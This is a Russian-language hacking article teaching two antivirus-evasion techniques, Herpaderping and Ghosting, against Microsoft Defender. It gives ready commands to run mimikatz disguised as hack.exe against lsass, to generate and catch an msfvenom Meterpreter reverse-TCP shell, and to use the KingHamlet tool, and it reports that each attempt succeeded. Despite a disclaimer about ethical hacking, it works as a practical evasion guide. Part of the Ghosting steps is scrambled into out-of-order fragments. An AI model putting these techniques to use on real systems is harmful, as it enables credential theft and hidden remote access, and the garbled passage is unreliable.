Как скрыть процессы от антивирусов Kozhuh Пентест 1,798 Скрывать процессы от антивирусов — важ­ная задача не толь­ко создателей вирусов (см. также Как ловят создателей вирусов), но и пен­тесте­ров (этичных хакеров). Для сокрытия процессов сущес­тву­ют раз­личные способы. В этой статье рас­смот­рим два из них: Herpaderping и Ghosting. О дру­гих техниках — Hollowing и Doppelgänging — поговорим в отдельной статье. Еще по теме: Как создать и скрыть вирус для Windows Как скрыть процессы от антивирусов В этом примере я буду использовать Microsoft Defender и Mimikatz. Статья написана в образовательных целях, для обучения этичных хакеров. При демонстрации работы, были использованы наши собственные устройства. Использование техник обхода антивирусов на чужих устройствах без надлежащего письменного разрешения, является незаконным и будет расцениваться, как уголовное преступление. Ни редак­ция spy-soft.net, ни автор не несут ответс­твен­ность за ваши действия. Особенности процессов Как анти­вирусы узна­ют, что в ОС был запущен какой‑то про­цесс? Microsoft позволяет раз­работ­чикам анти­вирус­ного ПО получать с помощью API все нуж­ные им события нап­ример: PsSetCreateProcessNotifyRoutineEx Ког­да соз­дает­ся про­цесс, Defender (да и другие антивирусы) сра­зу узна­ет об этом, получая соот­ветс­тву­ющий Callback. Теперь он может анализировать исполня­емый файл и принять решение, раз­решить данный про­цесс или нет (не будем затрагивать тему ста­тичес­кого ана­лиза). Прикол в том, что уве­дом­ление CreateProcessNotify — совсем не про соз­дание про­цес­са. Callback полетит в тот момент, ког­да внут­ри данного про­цес­са воз­никнет пер­вый поток (thread). В промежуток, ког­да про­цесс был соз­дан и анти­вирус узнал об этом творчески используется зло­умыш­ленни­ками. Важно понимать Для тех, кто не в теме, напомню, что ис­полня­емый файл — это не про­цесс. Исполня­емый файл может быть свя­зан со различными про­цес­сами (откройте Task Manager и посмотрите, сколь­ко и какие про­цес­сы свя­заны, нап­ример, с svchost.exe). Все про­цессы всегда будут свя­заны с каким‑нибудь PEфай­лом (.dll, .exe и т.д). А про­цес­сы пре­дос­тавля­ют необходимые ресур­сы, для запуска и выпол­нения приложений. Про­цесс содер­жит вир­туаль­ное адресное прос­транс­тво, исполня­емый код, откры­тые дес­крип­торы для сис­темных объ­ектов, кон­текст безопас­ности, уни­каль­ный иден­тифика­тор про­цес­са, перемен­ные сре­ды, класс при­ори­тета, минималь­ный и мак­сималь­ный раз­меры рабоче­го мно­жес­тва и как минимум один поток выпол­нения. По­ток — это базовая еди­ница, в которой ОС выделя­ет про­цес­сорное вре­мя. Поток может выпол­нять любую часть кода про­цес­са, вклю­чая час­ти, которые в конкретный момент выпол­няют­ся дру­гим потоком. Создание процесса Рас­смот­рим этапы создания про­цес­са: 1. В начале для исполня­емо­го фай­ла мы получа­ем дес­крип­тор (handle), который запус­каем, нап­ример таким образом: hFile = CreateFile(“C:\Windows\System32\svchost.exe”) 2. Соз­дается image section нап­ример: hSection = NtCreateSection(hFile, SEC_IMAGE) Image section пред­став­ляет собой осо­бый раз­дел и слу­жит для отоб­ражения фай­ла (или час­ти фай­ла) в память. Раз­дел соот­ветс­тву­ет PE-фай­лам и может быть соз­дан толь­ко в них. 3. Соз­дается про­цесс в image section нап­ример: hProcess = NtCreateProcessEx(hSection) 4. Наз­нача­ются аргу­мен­ты и перемен­ные сре­ды нап­ример: CreateEnvironmentBlock/NtWriteVirtualMemory 5. Соз­дается поток для выпол­нения про­цес­са нап­ример: NtCreateThreadEx Имейте ввиду: про­цес­сы запус­кают­ся из исполня­емых фай­лов, но информа­ция внут­ри исполня­емо­го фай­ла может менять­ся отно­ситель­ного того, что находит­ся в image section (так как она кеширу­ется memory manager). Сканирование процесса в поисках вредоноса Как мы уже говорили, анти­виру­сное ПО может получать уве­дом­ления о событи­ях соз­дания про­цес­сов и потоков: PsSetCreateProcessNotifyRoutineEx PsSetCreateThreadNotifyRoutineEx Выг­лядит это дело как-то так: typedef struct _PS_CREATE_NOTIFY_INFO { SIZE_T Size; union { ULONG Flags; struct { ULONG FileOpenNameAvailable : 1; ULONG IsSubsystemProcess : 1; ULONG Reserved : 30; }; }; HANDLE ParentProcessId; CLIENT_ID CreatingThreadId; struct _FILE_OBJECT *FileObject; PCUNICODE_STRING ImageFileName; PCUNICODE_STRING CommandLine; NTSTATUS CreationStatus; } PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO; Из инте­рес­ного: FILE_OBJECT соот­ветс­тву­ет дес­крип­тору NtCreateSection . Если же мы взгля­нем на API NtCreateProcess, то уви­дим там тоже дес­крип­тор раз­дела, а не фай­ла. NTSYSCALLAPI NTSTATUS NTAPI NtCreateProcess( _Out_ PHANDLE ProcessHandle, _In_ ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ HANDLE ParentProcess, _In_ BOOLEAN InheritObjectTable, _In_opt_ HANDLE SectionHandle, _In_opt_ HANDLE DebugPort, _In_opt_ HANDLE ExceptionPort ); Отличия двух техник Для прос­тоты я свел отли­чия опи­сыва­емых в статье тех­ник в таб­лицу. ТЕХ­НИКА ДЕЙ­СТВИЯ Hollowing map → modify section → execute Doppelgänging transact → write → map → rollback → execute Herpaderping write → map → modify → execute → close Ghosting delete pending → write → map → close(delete) → execute Herpaderping Нам пот­ребу­ется mimikatz.exe, целевой исполня­емый файл (тут мож­но ука­зывать что угод­но, у нас это будет hack.exe) и любой файл, не вызыва­ющий подоз­рений у анти­вирус­ных прог­рамм. Раз­берем методи­ку Herpaderping по шагам. 1. Write. Соз­даем и откры­ваем hack.exe, копиру­ем в него mimikatz.exe, дес­крип­тор не зак­рыва­ем. 2. Map. Соз­даем image section и мапим содер­жимое в память. 3. Modify. Соз­даем про­цесс с дес­крип­тором ранее соз­данно­го раз­дела. Пос­ле это­го меня­ем содер­жимое фай­ла hack.exe, копируя туда что‑нибудь легитим­ное. Пом­ните важ­ный момент из раз­дела про соз­дание про­цес­са? Так вот это он и есть: с это­го момен­та то, что у нас в памяти, и то, что хра­нит­ся в фай­ле, отли­чает­ся. 4. Execute. Соз­даем initial thread . Толь­ко сей­час анти­виру­су летит process creation callback . Раз­- личие содер­жимого в фай­ле и в памяти сво­дит с ума Defender, он не может понять, мож­но ли раз­решать выпол­нение это­го про­цес­са. 5. Close. Зак­рыва­ем откры­тый дес­крип­тор. Herpaderping на практике За все­ми дей­стви­ями будет наб­людать пол­ностью обновлен­ный Microsoft Defender. Естес­твен­но, если дроп­нуть на диск Mimikatz или пей­лоад из MSFvenom в «чис­том» виде, он тут же будет обна­ружен анти­виру­сом. Нам нуж­но обой­ти ста­тичес­кий ана­лиз, но этот этап мы сей­час рас­смат­ривать не будем. Microsoft Defender Клонирум про­ект из GitHub и собира­ем его: git clone https://github.com/jxy-s/herpaderping.git cd .\herpaderping\ git submodule update --init –recursive Клонируем Herpaderping Вы­пол­няем коман­ду: ProcessHerpaderping.exe mimikatz.exe hack.exe lsass.exe Вы­пол­нение ProcessHerpaderping.exe Как мы видим, все выпол­нилось успешно, Defender не сре­аги­ровал. Давайте взгля­нем, что покажет нам ProcessHacker. Herpaderping ProcessHacker У нас исполня­ется не mimikatz.exe, а hack.exe. А еще у нашего при­ложе­ния hack.exe есть сер­тификат, выдан­ный Microsoft. У нашего при­ложе­ния есть сер­тификат Ну а сам hack.exe спо­кой­но лежит на рабочем сто­ле. Ра­бочий стол Этот при­ем работа­ет не толь­ко с Mimikatz: давайте проб­росим себе сес­сию Meterpreter. Для это­го сге­нери­руем полез­ную наг­рузку и запус­тим лис­тенер: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.197 LPORT=9001 -f exe > met.exe use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.197 set LPORT 9001 exploit Вы­пол­ним те же дей­ствия и гля­нем, при­лете­ла ли сес­сия. Вы­пол­нение met.exe По­лучен­ная сес­сия Получи­лось! Ghosting Для исполь­зования это­го метода нам опять же пот­ребу­ется наш исходный файл (mimikatz.exe) и целевой исполня­емый файл. В качес­тве таково­го мож­но ука­зывать что угод­но, у нас это будет уже при­выч­ный нам hack.exe. Как и в прош­лый раз, раз­берем тех­нологию по шагам. 1. Delete pending. Delete Pending — это сос­тояние, при котором файл еще не уда­лен, потому что дес­крип­тор на него открыт. Как толь­ко дес­крип­тор зак­роет­ся, файл уда­лит­ся. Соз­даем файл и перево­дим в сос­тояние зование delete-pending FILE_DELETE_ON_CLOSE , исполь­зуя NtSetInformationFile (FileDispositionInformation). Исполь­- не уда­лит файл. 2. Write. Копиру­ем наш исходный исполня­емый файл в соз­данный файл. Содер­жимое не сох­раня­ется, так как файл находит­ся в сос­тоянии delete-pending . Так­же это сос­тояние бло­киру­ет попыт­ки открыть файл извне. 3. Map. Соз­даем image section и мапим содер­жимое в память. 4. Сlose(delete). Зак­рыва­ем дес­крип­тор, файл уда­ляет­ся. 5. Execute. Соз­даем про­цесс с дес­крип­тором ранее соз­данно­го раз­дела. Соз­даем этот момент анти­виру­су нап­равля­ется открыть его завер­шится с ошиб­кой process creation callback STATUS_FILE_DELETED initial thread .В , но файл уже уда­лен. Попыт­ка . Если поп­робовать открыть файл до того, как он будет уда­лен, получите ту же самую ошиб­ку. Ghosting на практике Клонирум про­ект и собира­ем. Либо кача­ем уже соб­ранный про­ект из GitHub. Вы­пол­няем коман­ду: proc_ghost64.exe mimikatz.exe hack.exe Вы­пол­нение proc_ghost64.exe Как мы видим, сно­ва все выпол­нилось успешно и Defender не сре­аги­ровал. Теперь давайте оце­ним информа­цию, которую пре­дос­тавит нам ProcessHacker. ProcessHacker Сто­ит обра­тить вни­мание на еще один инс­тру­мент, который реали­зует дан­ную тех­нику, — KingHamlet. Он так­же реали­зует воз­можнос­ти крип­тования исходно­го пей­лоада: KingHamlet.exe mimikatz.exe key KingHamlet А process ghosting исполь­зует­ся на сле­дующем шаге: KingHamlet.exe mimikatz.exe.khe key hack.exe KingHamlet KingHamlet так­же отра­ботал успешно. В ProcessHacker мы уви­дим сле­дующее. ProcessHacker пос­ле при­мене­ния KingHamlet Заключение По­веде­ние Microsoft по отно­шению к опи­сан­ным в этой статье методам не до кон­ца понят­но. То ком­пания заяв­ляет, что выпус­тила зак­рыва­ющий патч, то Microsoft Security Response Center (MSRC) неожи­дан­но сооб­щает: проб­лема не соот­ветс­тву­ет кри­тери­ям, тре­бующим выпус­тить обновле­ние безопас­ности или инс­трук­ции по пре­дот­вра­щению атак. Но как видим, пока эти механиз­мы работа­ют без каких‑либо труд­ностей, глав­ное — обой­ти ста­тичес­кий ана­лиз. Полезные ссылки: Как обойти антивирус с помощью Chimera Как хакеры скрывают вирусы в документах Office ВКонтакте8 Twitter Facebook OK Telegram WhatsApp Viber